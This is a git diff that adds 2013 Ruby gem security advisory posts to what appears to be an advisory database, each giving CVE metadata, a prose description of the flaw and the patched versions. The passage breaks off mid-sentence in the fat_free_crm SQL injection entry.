+--- +layout: advisory +title: 'CVE-2013-4318 (features): Features Gem for Ruby /tmp/out.html Local XSS' +comments: false +categories: +- features +advisory: + gem: features + cve: 2013-4318 + osvdb: 96975 + ghsa: 42gq-h7xj-33r4 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4318 + title: Features Gem for Ruby /tmp/out.html Local XSS + date: 2013-09-01 + description: |- + Features Gem for Ruby contains a flaw that allows a local cross-site + scripting (XSS) attack. This flaw exists because the application does not validate + certain input upon submission to /tmp/out.html. This may allow an attacker to create + a specially crafted request that would execute arbitrary script code in a user's + browser within the trust relationship between their browser and the server. + cvss_v3: 5.4 +--- diff --git a/advisories/_posts/2013-09-03-CVE-2013-5671.md b/advisories/_posts/2013-09-03-CVE-2013-5671.md new file mode 100644 index 00000000..e6e89add --- /dev/null +++ b/advisories/_posts/2013-09-03-CVE-2013-5671.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-5671 (fog-dragonfly): fog-dragonfly Gem for Ruby imagemagickutils.rb + Remote Command Execution' +comments: false +categories: +- fog-dragonfly +advisory: + gem: fog-dragonfly + cve: 2013-5671 + osvdb: 96798 + ghsa: qrgf-jqqm-x7xv + url: https://nvd.nist.gov/vuln/detail/CVE-2013-5671 + title: fog-dragonfly Gem for Ruby imagemagickutils.rb Remote Command Execution + date: 2013-09-03 + description: |- + fog-dragonfly Gem for Ruby contains a flaw that is due to the program + failing to properly sanitize input passed via the imagemagickutils.rb script. + This may allow a remote attacker to execute arbitrary commands. + + This gem has been renamed. Please use "dragonfly" from now on. + cvss_v2: 7.5 + patched_versions: + - ">= 0.8.4" +--- diff --git a/advisories/_posts/2013-09-09-CVE-2013-4287.md b/advisories/_posts/2013-09-09-CVE-2013-4287.md new file mode 100644 index 00000000..f310ab50 --- /dev/null +++ b/advisories/_posts/2013-09-09-CVE-2013-4287.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2013-4287 (rubygems-update): CVE-2013-4287 rubygems: version regex algorithmic + complexity vulnerability' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2013-4287 + osvdb: 97163 + ghsa: 9j7m-rjqx-48vh + url: http://blog.rubygems.org/2013/09/09/CVE-2013-4287.html + title: 'CVE-2013-4287 rubygems: version regex algorithmic complexity vulnerability' + date: 2013-09-09 + description: |- + Algorithmic complexity vulnerability in Gem::Version::VERSION_PATTERN + in lib/rubygems/version.rb in RubyGems before 1.8.23.1, 1.8.24 through 1.8.25, 2.0.x + before 2.0.8, and 2.1.x before 2.1.0, as used in Ruby 1.9.0 through 2.0.0p247, allows + remote attackers to cause a denial of service (CPU consumption) via a crafted gem + version that triggers a large amount of backtracking in a regular expression. + cvss_v2: 4.3 + patched_versions: + - "~> 1.8.23.1" + - "~> 1.8.26" + - "~> 2.0.8" + - ">= 2.1.0" + related: + url: + - https://guides.rubygems.org/cve +--- diff --git a/advisories/_posts/2013-09-19-CVE-2013-6459.md b/advisories/_posts/2013-09-19-CVE-2013-6459.md new file mode 100644 index 00000000..f1be22f2 --- /dev/null +++ b/advisories/_posts/2013-09-19-CVE-2013-6459.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-6459 (will_paginate): CVE-2013-6459 rubygem-will_paginate: XSS vulnerabilities' +comments: false +categories: +- will_paginate +advisory: + gem: will_paginate + cve: 2013-6459 + osvdb: 101138 + ghsa: 8r6h-7x9g-xmw9 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-6459 + title: 'CVE-2013-6459 rubygem-will_paginate: XSS vulnerabilities' + date: 2013-09-19 + description: |- + Cross-site scripting (XSS) vulnerability in the will_paginate gem before + 3.0.5 for Ruby allows remote attackers to inject arbitrary web script or HTML via + vectors involving generated pagination links. It was found that ruby will_paginate + is vulnerable to a XSS via malformed input that cause pagination to occur on an + improper boundary. This could allow an attacker with the ability to pass data to + the will_paginate gem to display arbitrary HTML including scripting code within + the web interface. + cvss_v2: 4.3 + patched_versions: + - ">= 3.0.5" +--- diff --git a/advisories/_posts/2013-09-24-CVE-2013-4363.md b/advisories/_posts/2013-09-24-CVE-2013-4363.md new file mode 100644 index 00000000..6fa72857 --- /dev/null +++ b/advisories/_posts/2013-09-24-CVE-2013-4363.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2013-4363 (rubygems-update): CVE-2013-4363 rubygems: version regex algorithmic + complexity vulnerability, incomplete CVE-2013-4287 fix' +comments: false +categories: +- rubygems-update +- rubygems +advisory: + gem: rubygems-update + library: rubygems + cve: 2013-4363 + osvdb: 97163 + ghsa: 9qvm-2vhf-q649 + url: http://blog.rubygems.org/2013/09/24/CVE-2013-4363.html + title: 'CVE-2013-4363 rubygems: version regex algorithmic complexity vulnerability, + incomplete CVE-2013-4287 fix' + date: 2013-09-24 + description: |- + 'Algorithmic complexity vulnerability in Gem::Version::ANCHORED_VERSION_PATTERN + in lib/rubygems/version.rb in RubyGems before 1.8.23.2, 1.8.24 through 1.8.26, 2.0.x + before 2.0.10, and 2.1.x before 2.1.5, as used in Ruby 1.9.0 through 2.0.0p247, + allows remote attackers to cause a denial of service (CPU consumption) via a crafted + gem version that triggers a large amount of backtracking in a regular expression. NOTE: + this issue is due to an incomplete fix for CVE-2013-4287.' + cvss_v2: 4.3 + patched_versions: + - "~> 1.8.23.2" + - "~> 1.8.27" + - "~> 2.0.10" + - ">= 2.1.5" + related: + url: + - https://guides.rubygems.org/cve +--- diff --git a/advisories/_posts/2013-10-01-CVE-2013-7463.md b/advisories/_posts/2013-10-01-CVE-2013-7463.md new file mode 100644 index 00000000..c5ec5967 --- /dev/null +++ b/advisories/_posts/2013-10-01-CVE-2013-7463.md @@ -0,0 +1,19 @@ +--- +layout: advisory +title: 'CVE-2013-7463 (aescrypt): Vulnerability in aescrypt because IV is not randomized' +comments: false +categories: +- aescrypt +advisory: + gem: aescrypt + cve: 2013-7463 + ghsa: 4c4w-3q45-hp9j + url: https://github.com/Gurpartap/aescrypt/issues/4 + title: Vulnerability in aescrypt because IV is not randomized + date: 2013-10-01 + description: |- + The aescrypt gem 1.0.0 for Ruby does not randomize the CBC IV for use with the + AESCrypt.encrypt and AESCrypt.decrypt functions, which allows attackers to + defeat cryptographic protection mechanisms via a chosen plaintext attack. + cvss_v3: 7.5 +--- diff --git a/advisories/_posts/2013-10-08-CVE-2013-4413.md b/advisories/_posts/2013-10-08-CVE-2013-4413.md new file mode 100644 index 00000000..a850c8d8 --- /dev/null +++ b/advisories/_posts/2013-10-08-CVE-2013-4413.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-4413 (wicked): Wicked Gem for Ruby contains a flaw' +comments: false +categories: +- wicked +advisory: + gem: wicked + cve: 2013-4413 + osvdb: 98270 + ghsa: rprj-g6xc-p5gq + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4413 + title: Wicked Gem for Ruby contains a flaw + date: 2013-10-08 + description: |- + Wicked Gem for Ruby contains a flaw that is due to the program failing + to properly sanitize input passed via the 'the_step' parameter upon submission to + the render_redirect.rb script. This may allow a remote attacker to gain access to + arbitrary files. + cvss_v2: 5.0 + patched_versions: + - ">= 1.0.1" +--- diff --git a/advisories/_posts/2013-10-16-CVE-2013-4389.md b/advisories/_posts/2013-10-16-CVE-2013-4389.md new file mode 100644 index 00000000..ecc667e6 --- /dev/null +++ b/advisories/_posts/2013-10-16-CVE-2013-4389.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-4389 (actionmailer): CVE-2013-4389 rubygem-actionmailer: email address + processing DoS' +comments: false +categories: +- actionmailer +- rails +advisory: + gem: actionmailer + framework: rails + cve: 2013-4389 + osvdb: 98629 + ghsa: rg5m-3fqp-6px8 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4389 + title: 'CVE-2013-4389 rubygem-actionmailer: email address processing DoS' + date: 2013-10-16 + description: |- + Multiple format string vulnerabilities in log_subscriber.rb files in + the log subscriber component in Action Mailer in Ruby on Rails 3.x before 3.2.15 + allow remote attackers to cause a denial of service via a crafted e-mail address + that is improperly handled during construction of a log message. + cvss_v2: 4.3 + unaffected_versions: + - "~> 2.3.2" + patched_versions: + - ">= 3.2.15" +--- diff --git a/advisories/_posts/2013-10-22-CVE-2013-4457.md b/advisories/_posts/2013-10-22-CVE-2013-4457.md new file mode 100644 index 00000000..f6c97ccd --- /dev/null +++ b/advisories/_posts/2013-10-22-CVE-2013-4457.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-4457 (cocaine): Cocaine Gem for Ruby contains a flaw' +comments: false +categories: +- cocaine +advisory: + gem: cocaine + cve: 2013-4457 + osvdb: 98835 + ghsa: c43v-hrmg-56r4 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4457 + title: Cocaine Gem for Ruby contains a flaw + date: 2013-10-22 + description: |- + Cocaine Gem for Ruby contains a flaw that is due to the method of variable + interpolation used by the program. With a specially crafted object, a context-dependent + attacker can execute arbitrary commands. + cvss_v2: 6.8 + unaffected_versions: + - "< 0.4.0" + patched_versions: + - ">= 0.5.3" +--- diff --git a/advisories/_posts/2013-10-29-CVE-2013-4478.md b/advisories/_posts/2013-10-29-CVE-2013-4478.md new file mode 100644 index 00000000..964fe049 --- /dev/null +++ b/advisories/_posts/2013-10-29-CVE-2013-4478.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2013-4478 (sup): Sup wrongly handled the filename of attachments' +comments: false +categories: +- sup +advisory: + gem: sup + cve: 2013-4478 + osvdb: 99074 + ghsa: 5f2p-6vjv-2q2m + url: https://web.archive.org/web/20140524012714/http://rubyforge.org/pipermail/sup-talk/2013-August/004993.html + title: Sup wrongly handled the filename of attachments + date: 2013-10-29 + description: |- + Sup MUA contains a flaw that is triggered when handling email attachment + content. This may allow a context-dependent attacker to execute arbitrary commands. + cvss_v2: 6.8 + patched_versions: + - "~> 0.13.2.1" + - ">= 0.14.1.1" + related: + cve: + - 2013-4479 + ghsa: + - hh2x-7mf9-78fr + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-4478 + - https://github.com/sup-heliotrope/sup/blob/develop/History.txt + - https://www.openwall.com/lists/oss-security/2013/10/30/2 + - https://web.archive.org/web/20140524012714/http://rubyforge.org/pipermail/sup-talk/2013-August/004993.html + - https://github.com/sup-heliotrope/sup/commit/8b46cdbfc14e07ca07d403aa28b0e7bc1c544785 + - https://www.mend.io/vulnerability-database/CVE-2013-4478 + - https://security-tracker.debian.org/tracker/CVE-2013-4478 + - https://lwn.net/Articles/575351 + - https://github.com/advisories/GHSA-5f2p-6vjv-2q2m +--- diff --git a/advisories/_posts/2013-10-29-CVE-2013-4479.md b/advisories/_posts/2013-10-29-CVE-2013-4479.md new file mode 100644 index 00000000..28f68fc9 --- /dev/null +++ b/advisories/_posts/2013-10-29-CVE-2013-4479.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2013-4479 (sup): Sup did not sanitize the content-type of attachments' +comments: false +categories: +- sup +advisory: + gem: sup + cve: 2013-4479 + osvdb: 99074 + ghsa: hh2x-7mf9-78fr + url: https://web.archive.org/web/20140524005344/http://rubyforge.org/pipermail/sup-talk/2013-October/004996.html + title: Sup did not sanitize the content-type of attachments + date: 2013-10-29 + description: |- + Sup MUA contains a flaw that is triggered when handling email attachment + content. This may allow a context-dependent attacker to execute arbitrary commands. + cvss_v2: 6.8 + patched_versions: + - "~> 0.13.2.1" + - ">= 0.14.1.1" + related: + cve: + - 2013-4478 + ghsa: + - 5f2p-6vjv-2q2m + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-4479 + - https://web.archive.org/web/20140524005344/http://rubyforge.org/pipermail/sup-talk/2013-October/004996.html + - https://seclists.org/fulldisclosure/2013/Oct/272 + - https://seclists.org/fulldisclosure/2013/Oct/att-272/whatsup.txt + - https://www.openwall.com/lists/oss-security/2013/10/30/2 + - https://github.com/sup-heliotrope/sup/commit/ca0302e0c716682d2de22e9136400c704cc93e42 + - https://security-tracker.debian.org/tracker/CVE-2013-4479 + - https://lwn.net/Articles/575351 + - https://github.com/advisories/GHSA-hh2x-7mf9-78fr +--- diff --git a/advisories/_posts/2013-11-04-CVE-2013-4489.md b/advisories/_posts/2013-11-04-CVE-2013-4489.md new file mode 100644 index 00000000..39af4d78 --- /dev/null +++ b/advisories/_posts/2013-11-04-CVE-2013-4489.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2013-4489 (gitlab-grit): GitLab Grit Gem for Ruby contains a flaw' +comments: false +categories: +- gitlab-grit +advisory: + gem: gitlab-grit + cve: 2013-4489 + osvdb: 99370 + ghsa: 95xq-v4m2-fq3r + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4489 + title: GitLab Grit Gem for Ruby contains a flaw + date: 2013-11-04 + description: |- + GitLab Grit Gem for Ruby contains a flaw in the app/contexts/search_context.rb + script. The issue is triggered when input passed via the code search box is not + properly sanitized, which allows strings to be evaluated by the Bourne shell. This + may allow a remote attacker to execute arbitrary commands. + patched_versions: + - ">= 2.6.1" +--- diff --git a/advisories/_posts/2013-11-12-CVE-2013-4562.md b/advisories/_posts/2013-11-12-CVE-2013-4562.md new file mode 100644 index 00000000..9ea475d1 --- /dev/null +++ b/advisories/_posts/2013-11-12-CVE-2013-4562.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-4562 (omniauth-facebook): omniauth-facebook Gem for Ruby Unspecified + CSRF' +comments: false +categories: +- omniauth-facebook +advisory: + gem: omniauth-facebook + cve: 2013-4562 + osvdb: 99693 + ghsa: cf36-985g-v73c + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4562 + title: omniauth-facebook Gem for Ruby Unspecified CSRF + date: 2013-11-12 + description: |- + omniauth-facebook Gem for Ruby contains a flaw as HTTP requests do not + require multiple steps, explicit confirmation, or a unique token when + performing certain sensitive actions. By tricking a user into following + a specially crafted link, a context-dependent attacker can perform a + Cross-Site Request Forgery (CSRF / XSRF) attack causing the victim to + perform an unspecified action. + cvss_v2: 6.8 + unaffected_versions: + - "<= 1.4.0" + patched_versions: + - ">= 1.5.0" +--- diff --git a/advisories/_posts/2013-11-14-CVE-2013-4593.md b/advisories/_posts/2013-11-14-CVE-2013-4593.md new file mode 100644 index 00000000..4a2f4a74 --- /dev/null +++ b/advisories/_posts/2013-11-14-CVE-2013-4593.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-4593 (omniauth-facebook): omniauth-facebook Gem for Ruby Insecure + Access Token Handling Authentication Bypass' +comments: false +categories: +- omniauth-facebook +advisory: + gem: omniauth-facebook + cve: 2013-4593 + osvdb: 99888 + ghsa: 33vg-hpx5-pfxg + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4593 + title: omniauth-facebook Gem for Ruby Insecure Access Token Handling Authentication + Bypass + date: 2013-11-14 + description: |- + omniauth-facebook Gem for Ruby contains a flaw that is due to the application + supporting passing the access token via the URL. This may allow a remote + attacker to bypass authentication and authenticate as another user. + cvss_v2: 6.8 + cvss_v3: 7.5 + patched_versions: + - ">= 1.5.1" +--- diff --git a/advisories/_posts/2013-12-02-CVE-2013-6421.md b/advisories/_posts/2013-12-02-CVE-2013-6421.md new file mode 100644 index 00000000..c180df3b --- /dev/null +++ b/advisories/_posts/2013-12-02-CVE-2013-6421.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-6421 (sprout): sprout Gem for Ruby archive_unpacker.rb unpack_zip() + Function Multiple Parameter Arbitrary Code Execution' +comments: false +categories: +- sprout +advisory: + gem: sprout + cve: 2013-6421 + osvdb: 100598 + ghsa: 229r-pqp6-8w6g + url: https://nvd.nist.gov/vuln/detail/CVE-2013-6421 + title: sprout Gem for Ruby archive_unpacker.rb unpack_zip() Function Multiple Parameter + Arbitrary Code Execution + date: 2013-12-02 + description: |- + sprout Gem for Ruby contains a flaw in the unpack_zip() function in + archive_unpacker.rb. The issue is due to the program failing to properly + sanitize input passed via the 'zip_file', 'dir', 'zip_name', and 'output' + parameters. This may allow a context-dependent attacker to execute arbitrary + code. + cvss_v2: 7.5 + unaffected_versions: + - "< 0.7.246" +--- diff --git a/advisories/_posts/2013-12-03-CVE-2013-4491.md b/advisories/_posts/2013-12-03-CVE-2013-4491.md new file mode 100644 index 00000000..84ba61a2 --- /dev/null +++ b/advisories/_posts/2013-12-03-CVE-2013-4491.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-4491 (actionpack): Reflective XSS Vulnerability in Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-4491 + osvdb: 100528 + ghsa: 699m-mcjm-9cw8 + url: https://groups.google.com/forum/#!topic/ruby-security-ann/pLrh6DUw998 + title: Reflective XSS Vulnerability in Ruby on Rails + date: 2013-12-03 + description: |- + There is a vulnerability in the internationalization component of Ruby on + Rails. Under certain common configurations an attacker can provide specially + crafted input which will execute a reflective XSS attack. + + The root cause of this issue is a vulnerability in the i18n gem which has + been assigned the identifier CVE-2013-4492. + cvss_v2: 4.3 + patched_versions: + - "~> 3.2.16" + - ">= 4.0.2" +--- diff --git a/advisories/_posts/2013-12-03-CVE-2013-4492.md b/advisories/_posts/2013-12-03-CVE-2013-4492.md new file mode 100644 index 00000000..9cef2609 --- /dev/null +++ b/advisories/_posts/2013-12-03-CVE-2013-4492.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2013-4492 (i18n): i18n missing translation error message XSS' +comments: false +categories: +- i18n +advisory: + gem: i18n + cve: 2013-4492 + osvdb: 100528 + ghsa: r5hc-9xx5-97rw + url: https://groups.google.com/forum/#!topic/ruby-security-ann/pLrh6DUw998 + title: i18n missing translation error message XSS + date: 2013-12-03 + description: |- + The HTML exception message raised by I18n::MissingTranslation fails + to escape the keys. + cvss_v2: 4.3 + patched_versions: + - "~> 0.5.1" + - ">= 0.6.6" +--- diff --git a/advisories/_posts/2013-12-03-CVE-2013-6414.md b/advisories/_posts/2013-12-03-CVE-2013-6414.md new file mode 100644 index 00000000..d204d08c --- /dev/null +++ b/advisories/_posts/2013-12-03-CVE-2013-6414.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-6414 (actionpack): Denial of Service Vulnerability in Action View' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-6414 + osvdb: 100525 + ghsa: mpxf-gcw2-pw5q + url: https://groups.google.com/forum/#!topic/ruby-security-ann/A-ebV4WxzKg + title: Denial of Service Vulnerability in Action View + date: 2013-12-03 + description: |- + There is a denial of service vulnerability in the header handling component of + Action View. + cvss_v2: 5.0 + unaffected_versions: + - "~> 2.3.0" + patched_versions: + - "~> 3.2.16" + - ">= 4.0.2" +--- diff --git a/advisories/_posts/2013-12-03-CVE-2013-6415.md b/advisories/_posts/2013-12-03-CVE-2013-6415.md new file mode 100644 index 00000000..958bf7bb --- /dev/null +++ b/advisories/_posts/2013-12-03-CVE-2013-6415.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-6415 (actionpack): XSS Vulnerability in number_to_currency' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-6415 + osvdb: 100524 + ghsa: 6h5q-96hp-9jgm + url: https://groups.google.com/forum/#!topic/ruby-security-ann/9WiRn2nhfq0 + title: XSS Vulnerability in number_to_currency + date: 2013-12-03 + description: |- + There is an XSS vulnerability in the number_to_currency helper in Ruby on Raile. + The number_to_currency helper allows users to nicely format a numeric value. One + of the parameters to the helper (unit) is not escaped correctly. Applications + which pass user controlled data as the unit parameter are vulnerable to an XSS attack. + cvss_v2: 4.3 + patched_versions: + - "~> 3.2.16" + - ">= 4.0.2" +--- diff --git a/advisories/_posts/2013-12-03-CVE-2013-6416.md b/advisories/_posts/2013-12-03-CVE-2013-6416.md new file mode 100644 index 00000000..aa67abee --- /dev/null +++ b/advisories/_posts/2013-12-03-CVE-2013-6416.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2013-6416 (actionpack): XSS Vulnerability in simple_format helper' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-6416 + osvdb: 100526 + ghsa: w37c-q653-qg95 + url: https://groups.google.com/forum/#!topic/ruby-security-ann/5ZI1-H5OoIM + title: XSS Vulnerability in simple_format helper + date: 2013-12-03 + description: |- + There is a vulnerability in the simple_format helper in Ruby on Rails. + The simple_format helper converts user supplied text into html text + which is intended to be safe for display. A change made to the + implementation of this helper means that any user provided HTML + attributes will not be escaped correctly. As a result of this error, + applications which pass user-controlled data to be included as html + attributes will be vulnerable to an XSS attack. + cvss_v2: 4.3 + unaffected_versions: + - "~> 2.3.0" + - "~> 3.1.0" + - "~> 3.2.0" + patched_versions: + - ">= 4.0.2" +--- diff --git a/advisories/_posts/2013-12-03-CVE-2013-6417.md b/advisories/_posts/2013-12-03-CVE-2013-6417.md new file mode 100644 index 00000000..239381a3 --- /dev/null +++ b/advisories/_posts/2013-12-03-CVE-2013-6417.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2013-6417 (actionpack): Incomplete fix to CVE-2013-0155 (Unsafe Query + Generation Risk)' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-6417 + osvdb: 100527 + ghsa: wpw7-wxjm-cw8r + url: https://groups.google.com/forum/#!topic/ruby-security-ann/niK4drpSHT4 + title: Incomplete fix to CVE-2013-0155 (Unsafe Query Generation Risk) + date: 2013-12-03 + description: |- + The prior fix to CVE-2013-0155 was incomplete and the use of common + 3rd party libraries can accidentally circumvent the protection. Due + to the way that Rack::Request and Rails::Request interact, it is + possible for a 3rd party or custom rack middleware to parse the + parameters insecurely and store them in the same key that Rails uses + for its own parameters. In the event that happens the application + will receive unsafe parameters and could be vulnerable to the earlier + vulnerability. + cvss_v2: 6.4 + patched_versions: + - "~> 3.2.16" + - ">= 4.0.2" +--- diff --git a/advisories/_posts/2013-12-12-CVE-2013-7086.md b/advisories/_posts/2013-12-12-CVE-2013-7086.md new file mode 100644 index 00000000..af9629a1 --- /dev/null +++ b/advisories/_posts/2013-12-12-CVE-2013-7086.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2013-7086 (webbynode): Webbynode Gem for Ruby notify.rb growlnotify Message + Handling Arbitrary Command Execution' +comments: false +categories: +- webbynode +advisory: + gem: webbynode + cve: 2013-7086 + osvdb: 100920 + ghsa: p65m-qr5x-rrqq + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7086 + title: Webbynode Gem for Ruby notify.rb growlnotify Message Handling Arbitrary Command + Execution + date: 2013-12-12 + description: |- + Webbynode Gem for Ruby contains a flaw in notify.rb that is triggered + when handling a specially crafted growlnotify message. This may allow a + context-dependent attacker to execute arbitrary commands. + cvss_v2: 7.5 +--- diff --git a/advisories/_posts/2013-12-14-CVE-2013-6460.md b/advisories/_posts/2013-12-14-CVE-2013-6460.md new file mode 100644 index 00000000..cf86d10f --- /dev/null +++ b/advisories/_posts/2013-12-14-CVE-2013-6460.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2013-6460 (nokogiri): CVE-2013-6460 rubygem-nokogiri: DoS while parsing + XML documents' +comments: false +categories: +- nokogiri +- jruby +advisory: + gem: nokogiri + platform: jruby + cve: 2013-6460 + osvdb: 101179 + ghsa: 62qp-3fxm-9wxf + url: https://nvd.nist.gov/vuln/detail/CVE-2013-6460 + title: 'CVE-2013-6460 rubygem-nokogiri: DoS while parsing XML documents' + date: 2013-12-14 + description: |- + Nokogiri gem 1.5.x has Denial of Service via infinite loop when parsing + XML documents + cvss_v2: 4.3 + cvss_v3: 6.5 + patched_versions: + - "~> 1.5.11" + - ">= 1.6.1" +--- diff --git a/advisories/_posts/2013-12-14-CVE-2013-6461.md b/advisories/_posts/2013-12-14-CVE-2013-6461.md new file mode 100644 index 00000000..bf4353ba --- /dev/null +++ b/advisories/_posts/2013-12-14-CVE-2013-6461.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-6461 (nokogiri): CVE-2013-6461 rubygem-nokogiri: DoS while parsing + XML entities' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2013-6461 + osvdb: 101458 + ghsa: jmhh-w7xp-wg39 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-6461 + title: 'CVE-2013-6461 rubygem-nokogiri: DoS while parsing XML entities' + date: 2013-12-14 + description: |- + Nokogiri gem 1.5.x and 1.6.x has DoS while parsing XML entities by failing + to apply limits + cvss_v3: 6.5 + patched_versions: + - "~> 1.5.11" + - ">= 1.6.1" +--- diff --git a/advisories/_posts/2013-12-14-CVE-2013-7111.md b/advisories/_posts/2013-12-14-CVE-2013-7111.md new file mode 100644 index 00000000..3c9eef85 --- /dev/null +++ b/advisories/_posts/2013-12-14-CVE-2013-7111.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2013-7111 (bio-basespace-sdk): Bio Basespace SDK Gem for Ruby Command + Line API Key Disclosure' +comments: false +categories: +- bio-basespace-sdk +advisory: + gem: bio-basespace-sdk + cve: 2013-7111 + osvdb: 101031 + ghsa: xwr3-fmgj-mmfr + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7111 + title: Bio Basespace SDK Gem for Ruby Command Line API Key Disclosure + date: 2013-12-14 + description: |- + Bio Basespace SDK Gem for Ruby contains a flaw that is due to the API + client code passing the API_KEY to a curl command. This may allow a local attacker + to gain access to API key information by monitoring the process table. +--- diff --git a/advisories/_posts/2013-12-24-CVE-2013-7222.md b/advisories/_posts/2013-12-24-CVE-2013-7222.md new file mode 100644 index 00000000..18bc3bd4 --- /dev/null +++ b/advisories/_posts/2013-12-24-CVE-2013-7222.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-7222 (fat_free_crm): Fat Free CRM Gem for Ruby lack of support for + cycling the Rails session secret' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2013-7222 + osvdb: 101445 + ghsa: g897-cgfc-7q8v + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7222 + title: Fat Free CRM Gem for Ruby lack of support for cycling the Rails session secret + date: 2013-12-24 + description: |- + Fat Free CRM contains a flaw that is due to the application defining a static + security session token in config/initialiers/secret_token.rb. If a remote + attacker has explicit knowledge of this token, they can potentially execute + arbitrary code. + cvss_v2: 5.0 + patched_versions: + - ">= 0.13.0" + - "~> 0.12.1" +--- diff --git a/advisories/_posts/2013-12-24-CVE-2013-7223.md b/advisories/_posts/2013-12-24-CVE-2013-7223.md new file mode 100644 index 00000000..82070b3f --- /dev/null +++ b/advisories/_posts/2013-12-24-CVE-2013-7223.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-7223 (fat_free_crm): Fat Free CRM Gem for Ruby contains multiple + cross-site request forgery (CSRF) vulnerabilities' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2013-7223 + osvdb: 101446 + ghsa: mcvq-7xjq-46x6 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7223 + title: Fat Free CRM Gem for Ruby contains multiple cross-site request forgery (CSRF) + vulnerabilities + date: 2013-12-24 + description: |- + Fat Free CRM contains a flaw as the application is missing the protect_from_forgery + statement, therefore HTTP requests to app/controllers/application_controller.rb + do not require multiple steps, explicit confirmation, or a unique token when + performing certain sensitive actions. By tricking a user into following a specially + crafted link, a context-dependent attacker can perform a Cross-Site Request Forgery + (CSRF / XSRF) attack causing the victim to perform unspecified actions. + cvss_v2: 6.8 + patched_versions: + - ">= 0.13.0" + - "~> 0.12.1" +--- diff --git a/advisories/_posts/2013-12-24-CVE-2013-7224.md b/advisories/_posts/2013-12-24-CVE-2013-7224.md new file mode 100644 index 00000000..c8af7a79 --- /dev/null +++ b/advisories/_posts/2013-12-24-CVE-2013-7224.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-7224 (fat_free_crm): Fat Free CRM Gem for Ruby allows remote attackers + to obtain sensitive informations' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2013-7224 + osvdb: 101447 + ghsa: 4xq9-vw89-p5cx + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7224 + title: Fat Free CRM Gem for Ruby allows remote attackers to obtain sensitive informations + date: 2013-12-24 + description: |- + Fat Free CRM contains a flaw in user controllers that is triggered as JSON + requests are rendered with a full JSON object. This may allow a remote + attacker to gain access to potentially sensitive information e.g. other + users password hashes. + cvss_v2: 5.0 + patched_versions: + - ">= 0.13.0" + - "~> 0.12.1" +--- diff --git a/advisories/_posts/2013-12-24-CVE-2013-7225.md b/advisories/_posts/2013-12-24-CVE-2013-7225.md new file mode 100644 index 00000000..f4653e0d --- /dev/null +++ b/advisories/_posts/2013-12-24-CVE-2013-7225.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-7225 (fat_free_crm): Fat Free CRM Gem for Ruby allows remote attackers + to inject or manipulate SQL queries' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2013-7225 + osvdb: 101448 + ghsa: 9ggp-5rf4-x7q9 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7225 + title: Fat Free CRM Gem for Ruby allows remote attackers to inject or manipulate + SQL queries + date: 2013-12-24 + description: |- + Fat Free CRM contains a flaw that may allow carrying out an SQL injection + attack. The issue is due to the app/controllers/home_controller.rb script + not properly sanitizing user-supplied input to the 'state' parameter or + input passed via comments and emails. This may allow a remote attacker to + inject or manipulate SQL queries in the 